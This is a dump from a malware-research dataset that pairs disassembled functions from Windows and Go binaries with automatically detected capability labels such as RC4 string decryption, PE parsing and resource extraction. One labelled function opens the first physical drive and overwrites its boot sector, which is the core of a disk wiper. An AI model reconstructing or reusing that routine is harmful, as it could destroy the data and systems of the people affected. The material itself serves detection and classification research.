joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5f2d80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5f2eb8
push rbp
mov rbp, rsp
sub rsp, 0x70
movabs rdx, 0x625943777977bb59
mov qword [rsp + 0x4b], rdx
movabs rdx, 0x203e628d74625943
mov qword [rsp + 0x50], rdx
movabs rdx, 0x33632520884c6e61
mov qword [rsp + 0x58], rdx
movabs rdx, 0x6a708b5f1d6f7025
mov qword [rsp + 0x60], rdx
movabs rdx, 0x2ea08e685f837065
mov qword [rsp + 0x68], rdx
movabs rdx, 0x61c1e2213061b20
mov qword [rsp + 0x1b], rdx
movabs rdx, 0x1b1b1b0f0e19161b
mov qword [rsp + 0x23], rdx
movabs rdx, 0x1615202022200715
mov qword [rsp + 0x2b], rdx
movabs rdx, 0x402041a09141203
mov qword [rsp + 0x33], rdx
movabs rdx, 0x513080813101918
mov qword [rsp + 0x3b], rdx
movabs rdx, 0x1f0b230f010f1413
mov qword [rsp + 0x43], rdx
xor eax, eax
jmp 0x5f2e58
movzx r9d, byte [rsp + rsi + 0x4b]
sub r9d, edx
lea edx, [r9 + 0x24]
mov byte [rsp + rdi + 0x4b], dl
lea edx, [r8 + 0x24]
mov byte [rsp + rsi + 0x4b], dl
add rax, 2
cmp rax, 0x30
jge 0x5f2e88
movzx edx, byte [rsp + rax + 0x1b]
movzx esi, byte [rsp + rax + 0x1c]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x25
jae 0x5f2eab
movzx r8d, byte [rsp + rdi + 0x4b]
sub r8d, edx
nop dword [rax]
cmp rsi, 0x25
jb 0x5f2e3b
jmp 0x5f2e9f
xor eax, eax
lea rbx, [rsp + 0x4b]
mov ecx, 0x25
call fcn.0045b720
add rsp, 0x70
pop rbp
ret
mov eax, esi
mov ecx, 0x25
call fcn.00460fc0
mov eax, edi
mov ecx, 0x25
call fcn.00460fc0
nop
call fcn.0045ece0
nop dword [rax]
jmp fcn.005f2d80

Function at 0x5f31c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea r12, [rsp - 0x38]
cmp r12, qword [r14 + 0x10]
jbe 0x5f3315
push rbp
mov rbp, rsp
sub rsp, 0xb0
movabs rdx, 0xee67c6656463b1af
mov qword [rsp + 0x72], rdx
movabs rdx, 0xb7df8f4695b034dc
mov qword [rsp + 0x7a], rdx
movabs rdx, 0x76759c8d7271b7df
mov qword [rsp + 0x80], rdx
movabs rdx, 0x76ca423048c878bc
mov qword [rsp + 0x88], rdx
movabs rdx, 0xf3133e1b481f71c8
mov qword [rsp + 0x90], rdx
movabs rdx, 0x545311b6334f504d
mov qword [rsp + 0x98], rdx
movabs rdx, 0x3139623158dc5043
mov qword [rsp + 0xa0], rdx
movabs rdx, 0x38c83736d117c6f8
mov qword [rsp + 0xa8], rdx
movabs rdx, 0x2f24001a0922321c
mov qword [rsp + 0x1a], rdx
lea rdi, [rsp + 0x22]
lea rsi, [0x00677f40]
nop
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.004615da
mov rbp, qword [rbp]
xor eax, eax
jmp 0x5f32b4
movzx r9d, byte [rsp + rsi + 0x72]
sub r9d, edx
lea edx, [r9 - 0x1b]
mov byte [rsp + rdi + 0x72], dl
lea edx, [r8 - 0x1b]
mov byte [rsp + rsi + 0x72], dl
add rax, 2
cmp rax, 0x58
jge 0x5f32e2
movzx edx, byte [rsp + rax + 0x1a]
movzx esi, byte [rsp + rax + 0x1b]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x3e
jae 0x5f3308
movzx r8d, byte [rsp + rdi + 0x72]
sub r8d, edx
cmp rsi, 0x3e
jb 0x5f3297
nop
jmp 0x5f32fc
xor eax, eax
lea rbx, [rsp + 0x72]
mov ecx, 0x3e
call fcn.0045b720
add rsp, 0xb0
pop rbp
ret
mov eax, esi
mov ecx, 0x3e
call fcn.00460fc0
mov eax, edi
mov ecx, 0x3e
call fcn.00460fc0
nop
call fcn.0045ece0
jmp fcn.005f31c0
Function at 0x140001000
Capabilities:
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edx, edx
lea rcx, [rsp + 0x80]
mov r8d, 0x1ce
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140003078]
xor edi, edi
xor r9d, r9d
movups xmm1, xmmword [0x140003088]
lea rcx, str..PHYSICALDRIVE0
mov qword [rsp + 0x30], rdi
movaps xmmword [rsp + 0x50], xmm0
mov edx, 0xc0000000
movups xmm0, xmmword [0x140003098]
mov dword [rsp + 0x28], edi
mov r8d, 3
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x24e], 0xaa55
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010bc
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001160
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x90018
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rdi
mov r8d, 0x200
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x9001c
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140001a28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a72
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a74
xor al, al
add rsp, 0x28
ret
Function at 0x140019e90
Capabilities:
Query environment variable

Disassembly:
push r15
mov eax, 0x10088
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140093c20
sub rsp, rax
xor edx, edx
mov rbp, rcx
xor ecx, ecx
mov word [rsp + 0x80], dx
lea r15, [rsp + 0x30]
movzx eax, byte [rbp]
mov word [rsp + 0x30], cx
test al, al
je 0x140019f55
xor edi, edi
lea r15, [rsp + 0x30]
lea r14, [rsp + 0x2a]
mov r12d, 0x28
lea r13, [rsp + 0x2c]
nop dword [rax]
mov rsi, r12
mov r8d, 2
mov rdx, r14
mov rcx, r13
sub rsi, rdi
mov byte [rsp + 0x2a], al
lea rbx, [r15 + rdi*2]
mov byte [rsp + 0x2b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a4b22
cmp word [r15 + rdi*2], 0
movzx eax, word [rsp + 0x2c]
je 0x140019f36
nop dword [rax + rax]
add rbx, 2
sub rsi, 1
cmp word [rbx], 0
jne 0x140019f28
test rsi, rsi
je 0x1400a4b22
mov word [rbx], ax
add rdi, 1
xor eax, eax
mov word [rbx + 2], ax
movzx eax, byte [rbp + rdi]
test al, al
jne 0x140019ee8
lea rbx, [rsp + 0x80]
mov r8d, 0x10000
mov rcx, r15
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x140019f84
mov rcx, rbx
call sub.msvcrt.dll__wcsdup
add rsp, 0x10088
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140019fa0
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
movzx eax, byte [rcx]
mov qword [rsp + 0xd8], rdx
xor edx, edx
mov rbp, rcx
lea r15, [rsp + 0x30]
mov word [rsp + 0x30], dx
test al, al
je 0x14001a05d
xor edi, edi
lea r15, [rsp + 0x30]
lea r14, [rsp + 0x2a]
mov r12d, 0x28
lea r13, [rsp + 0x2c]
nop dword [rax]
mov rsi, r12
mov r8d, 2
mov rdx, r14
mov rcx, r13
sub rsi, rdi
mov byte [rsp + 0x2a], al
lea rbx, [r15 + rdi*2]
mov byte [rsp + 0x2b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a4b28
cmp word [r15 + rdi*2], 0
movzx eax, word [rsp + 0x2c]
je 0x14001a03e
nop dword [rax + rax]
add rbx, 2
sub rsi, 1
cmp word [rbx], 0
jne 0x14001a030
test rsi, rsi
je 0x1400a4b28
mov word [rbx], ax
add rdi, 1
xor eax, eax
mov word [rbx + 2], ax
movzx eax, byte [rbp + rdi]
test al, al
jne 0x140019ff0
mov rdx, qword [rsp + 0xd8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140038ec0
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rbx, qword [0x1400c9310]
mov rsi, rcx
test rbx, rbx
je 0x140038f40
mov rax, qword [0x1400b8670]
mov rcx, qword [rax + 0x48]
cmp rbx, rcx
je 0x140038f30
mov rdx, qword [0x1400c9548]
test rdx, rdx
je 0x140039030
mov rcx, rbx
mov rbx, qword [sym.imp.python312.dll_PyNumber_InPlaceAdd]
call rbx
mov rcx, rax
mov rdx, rsi
mov rax, rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax
mov rbx, qword [sym.imp.python312.dll_PyNumber_InPlaceAdd]
jmp 0x140038f11
lea r15, str.NUITKA_ONEFILE_BINARY
mov rcx, r15
call fcn.140019e90
test rax, rax
je 0x140039050
mov rcx, rax
mov rdx, 0xffffffffffffffff
lea r14, [rsp + 0x40]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
xor ecx, ecx
mov r13, r14
lea r12, [r15 + 0x28]
mov word [rsp + 0x40], cx
lea rbp, [rsp + 0x3a]
lea rdi, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov eax, 0x4e
nop
mov rbx, r12
mov r8d, 2
mov rdx, rbp
mov rcx, rdi
sub rbx, r15
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a4bc2
cmp word [r13], 0
movzx edx, word [rsp + 0x3c]
mov rax, r13
je 0x140038fde
nop word [rax + rax]
add rax, 2
sub rbx, 1
cmp word [rax], 0
jne 0x140038fd0
test rbx, rbx
je 0x1400a4bc2
mov word [rax], dx
add r15, 1
xor edx, edx
add r13, 2
mov word [rax + 2], dx
movzx eax, byte [r15]
test al, al
jne 0x140038f90
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
call qword [sym.imp.python312.dll_PyThreadState_Get]
mov rdx, qword [rsp + 0x28]
mov rcx, rax
call fcn.140038d50
mov rbx, rax
mov qword [0x1400c9310], rbx
jmp 0x140038ee2
lea rcx, [0x1400b4bd2]
call qword [sym.imp.python312.dll_PyUnicode_FromString]
mov qword [0x1400c9548], rax
mov rdx, rax
jmp 0x140038f02
mov rbx, qword [0x1400c9328]
test rbx, rbx
jne 0x140039021
cmp byte [0x1400c9542], 0
je 0x140039093
mov rdx, 0xffffffffffffffff
lea rcx, [0x1400c9340]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
mov qword [0x1400c9328], rax
mov rbx, rax
test rax, rax
je 0x14003909f
mov eax, dword [rax]
add eax, 1
je 0x140039021
mov dword [rbx], eax
jmp 0x140039021
mov ecx, 1
call fcn.14001ab10
jmp 0x140039065
call qword [sym.imp.python312.dll_PyErr_Print]
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
call sub.msvcrt.dll_abort
nop
Function at 0x140039920
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rsi, str.NUITKA_ONEFILE_BINARY
mov ebx, ecx
mov rcx, rsi
call fcn.140019e90
test rax, rax
je 0x140039a70
mov rcx, rax
mov rdx, 0xffffffffffffffff
lea r14, [rsp + 0x40]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
xor ecx, ecx
mov r15, r14
lea r12, [rsi + 0x28]
mov word [rsp + 0x40], cx
mov r13, rax
lea rbp, [rsp + 0x3a]
mov eax, 0x4e
lea rdi, [rsp + 0x3c]
nop word [rax + rax]
mov rbx, r12
mov r8d, 2
mov rdx, rbp
mov rcx, rdi
sub rbx, rsi
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a4bda
cmp word [r15], 0
movzx edx, word [rsp + 0x3c]
mov rax, r15
je 0x1400399d6
nop dword [rax]
add rax, 2
sub rbx, 1
cmp word [rax], 0
jne 0x1400399c8
test rbx, rbx
je 0x1400a4bda
mov word [rax], dx
add rsi, 1
xor edx, edx
add r15, 2
mov word [rax + 2], dx
movzx eax, byte [rsi]
test al, al
jne 0x140039988
mov rcx, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
call qword [sym.imp.python312.dll_PyThreadState_Get]
mov rcx, qword [0x1400c9c80]
mov rsi, rax
mov rax, qword [0x1400b8670]
mov rbx, qword [rax + 0x1c0]
test rcx, rcx
je 0x140039add
mov rdx, rbx
call fcn.14000a560
mov r8, r13
mov rcx, rsi
mov rbx, rax
mov rdx, rax
call fcn.14002d490
mov rdx, qword [rbx]
test edx, edx
js 0x140039a52
sub rdx, 1
mov qword [rbx], rdx
je 0x140039ac5
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x1400c9320]
lea rsi, [0x1400c9320]
test bl, bl
je 0x140039a90
mov rax, qword [0x1400c9328]
lea rsi, [0x1400c9328]
test rax, rax
jne 0x140039a52
cmp byte [0x1400c9542], 0
je 0x140039b07
mov rdx, 0xffffffffffffffff
lea rcx, [0x1400c9340]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
mov qword [rsi], rax
test rax, rax
je 0x140039b11
mov edx, dword [rax]
add edx, 1
je 0x140039a52
mov dword [rax], edx
jmp 0x140039a52
mov qword [rsp + 0x28], rax
mov rcx, rbx
call qword [sym.imp.python312.dll__Py_Dealloc]
mov rax, qword [rsp + 0x28]
jmp 0x140039a52
mov rcx, qword [0x1400c9bf8]
mov rdi, qword [rax + 0x1b0]
test rcx, rcx
je 0x140039b1c
mov rdx, rdi
call fcn.14000a560
mov qword [0x1400c9c80], rax
mov rcx, rax
jmp 0x140039a29
movzx ecx, bl
call fcn.14001ab10
jmp 0x140039a9e
call qword [sym.imp.python312.dll_PyErr_Print]
call sub.msvcrt.dll_abort
lea rcx, [0x1400af7b3]
call qword [sym.imp.python312.dll_PyImport_ImportModule]
mov qword [0x1400c9bf8], rax
mov rcx, rax
test rax, rax
je 0x1400a4bda
jmp 0x140039af0
Function at 0x140090350
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1400c9301], 0
mov rbp, rcx
mov rdi, rdx
mov r12, r8
je 0x1400903f8
lea rdx, [0x1400b44aa]
mov rcx, r12
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140090460
mov rbx, qword [0x1400c91a0]
jmp 0x140090395
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, r12
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x140090390
movzx eax, word [rdx + 4]
lea r8, [rdx + 6]
test ax, ax
je 0x1400903e7
lea rbx, [rdi + rax*8]
nop word cs:[rax + rax]
mov rdx, rdi
mov rcx, rbp
add rdi, 8
call fcn.140080370
mov r8, rax
cmp rdi, rbx
jne 0x1400903d0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x1400c91a0], rax
mov ebx, dword [rax]
mov qword [0x1400c91a0], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x1400c91a0], rdx
call fcn.14008f480
cmp eax, ebx
jne 0x1400904c8
mov byte [0x1400c9301], 1
jmp 0x140090370
cmp byte [0x1400c9300], 0
jne 0x140090387
mov rbx, qword [sym.imp.python312.dll_PyDict_New]
call rbx
mov qword [0x1400c9ea8], rax
call rbx
mov qword [0x1400c9ea0], rax
call rbx
mov qword [0x1400c9e98], rax
call rbx
mov qword [0x1400c9e90], rax
call rbx
mov qword [0x1400c9e88], rax
call rbx
mov qword [0x1400c9e80], rax
call rbx
mov qword [0x1400c9e78], rax
call rbx
mov byte [0x1400c9300], 1
mov qword [0x1400c9e70], rax
jmp 0x140090387
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140092900
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1400a4080
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1400a4080
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x1400935d2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400ca368]
test eax, eax
je 0x14009366a
lea rax, [0x1400ca340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400ca370]
mov qword [rbp - 8], rax
jmp 0x14009364e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140093642
cmp qword [rbp - 0x10], 0
je 0x140093642
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140093608
lea rax, [0x1400ca340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14009366b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140093770
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140093798
mov eax, 0
jmp 0x1400937e6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400937c1
mov eax, 0
jmp 0x1400937e6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400937e1
mov eax, 0
jmp 0x1400937e6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400937ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14009386a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140093861
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140093861
mov rax, qword [rbp - 8]
jmp 0x14009387f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140093834
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push r14
sub rsp, 0x68
mov rax, qword [0x14034dac0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, rdx
mov rdi, rcx
mov edx, 0xd
call fcn.14000b640
test rax, rax
jne 0x140002713
mov al, 1
jmp 0x1400028e4
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x60], rbp
test rdi, rdi
je 0x1400028d5
mov edx, 0x40
mov rcx, rdi
call fcn.14000c900
test al, al
jne 0x1400028d5
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x1400028d5
movsxd rax, dword [rdi + 0x3c]
cmp eax, 0x400
jg 0x1400028d5
lea rbx, [rdi + rax]
mov edx, 0xf8
mov rcx, rbx
call fcn.14000c900
test al, al
jne 0x1400028d5
cmp dword [rbx], 0x4550
jne 0x1400028d5
test rbx, rbx
je 0x1400028d5
mov edx, 0xf8
mov rcx, rbx
call fcn.14000c900
test al, al
jne 0x1400028d5
mov eax, 0x20b
cmp word [rbx + 0x18], ax
jne 0x1400028d5
mov rcx, rdi
call fcn.14000b860
mov ebp, eax
mov edx, 0xd
lea rax, vtable.peconv::default_func_resolver.0
mov rcx, rdi
mov qword [rsp + 0x40], rax
call fcn.14000b640
test rax, rax
je 0x1400028d5
mov ebx, dword [rax]
mov edx, dword [rax + 4]
lea rcx, [rbx + rdi]
cmp edx, 0x20
jb 0x1400028d5
test rcx, rcx
je 0x1400028d5
cmp rcx, rdi
jb 0x1400028d5
lea rax, [rbx + 0x20]
cmp rax, rbp
ja 0x1400028d5
cmp rax, 0x20
jb 0x1400028d5
cmp rax, rbx
jb 0x1400028d5
mov qword [rsp + 0x50], r15
mov r8b, 1
mov r15d, edx
shr r15, 5
test r15, r15
je 0x1400028ca
add rbx, 0x20
mov qword [rsp + 0x58], rsi
xor esi, esi
lea rdx, [rdi - 0x20]
add rdx, rbx
je 0x1400028c5
cmp rdx, rdi
jb 0x1400028c5
cmp rbx, rbp
ja 0x1400028c5
cmp rbx, 0x20
jb 0x1400028c5
lea rax, [rbx - 0x20]
cmp rbx, rax
jb 0x1400028c5
mov eax, dword [rdi + rbx - 0x1c]
test eax, eax
je 0x1400028c5
cmp rax, r14
jbe 0x140002872
sub rax, r14
lea r9, [rdi + rax]
test r9, r9
je 0x1400028b5
cmp r9, rdi
jb 0x1400028b5
lea rcx, [rax + 1]
cmp rcx, rbp
ja 0x1400028b5
cmp rcx, 1
jb 0x1400028b5
cmp rcx, rax
jb 0x1400028b5
lea rax, [rsp + 0x40]
mov r8, r14
mov qword [rsp + 0x30], rax
mov rcx, rdi
mov qword [rsp + 0x28], rdx
mov rdx, rbp
call fcn.140002900
movzx r8d, al
inc rsi
add rbx, 0x20
cmp rsi, r15
jb 0x140002840
mov rsi, qword [rsp + 0x58]
mov r15, qword [rsp + 0x50]
movzx eax, r8b
jmp 0x1400028d7
xor al, al
mov rbx, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14006ee80
add rsp, 0x68
pop r14
pop rdi
ret
Function at 0x140002ae0
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbx, r8
mov r13, rdx
mov r12, rcx
xor edi, edi
cmp qword [r8], rdi
je 0x140002c24
mov r8, qword [r8 + 8]
test r8, r8
je 0x140002c24
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140002b3c
inc rcx
mov qword [rbx + 0x10], rcx
mov rax, qword [rbx + 0x18]
dec rax
mov qword [rbx + 0x18], rax
jmp 0x140002bb8
mov rcx, r12
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov r15, rax
mov qword [rsp + 0x28], rdi
test rax, rax
je 0x140002c1d
movzx esi, word [rax + 0x14]
add rsi, 0x18
add rsi, rax
mov qword [rsp + 0x28], rsi
movzx r14d, di
mov word [rsp + 0x20], di
nop
cmp r14w, word [r15 + 6]
jae 0x140002b9d
mov r8d, 8
mov rdx, rsi
mov rcx, r13
call fcn.14005247c
test eax, eax
jne 0x140002bf6
mov eax, dword [rsi + 0xc]
add rax, r12
mov qword [rbx + 0x10], rax
mov eax, dword [rsi + 8]
mov qword [rbx + 0x18], rax
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140002c0e
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x140002c0e
mov r8, qword [rbx + 8]
cmp rax, r8
jb 0x140002c0e
mov r14, rcx
sub r14, r8
add r14, rax
cmp rcx, r14
ja 0x140002c0e
mov rsi, qword [rbx + 8]
mov rdx, rcx
mov rcx, qword [rbx]
call qword [sym.imp.ntdll.dll_RtlCompareMemory]
cmp rax, rsi
je 0x140002c35
mov rcx, qword [rbx + 0x10]
inc rcx
mov qword [rbx + 0x10], rcx
mov rax, qword [rbx + 0x18]
dec rax
mov qword [rbx + 0x18], rax
mov r8, rsi
jmp 0x140002bc1
add rsi, 0x28
mov qword [rsp + 0x28], rsi
inc r14w
mov word [rsp + 0x20], r14w
jmp 0x140002b70
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov edi, 0xc0000225
jmp 0x140002c31
mov edi, 0xc00000ef
jmp 0x140002c31
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov edi, 0xc000000d
mov dword [rsp + 0x24], edi
jmp 0x140002c3d
mov eax, edi
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r13
ret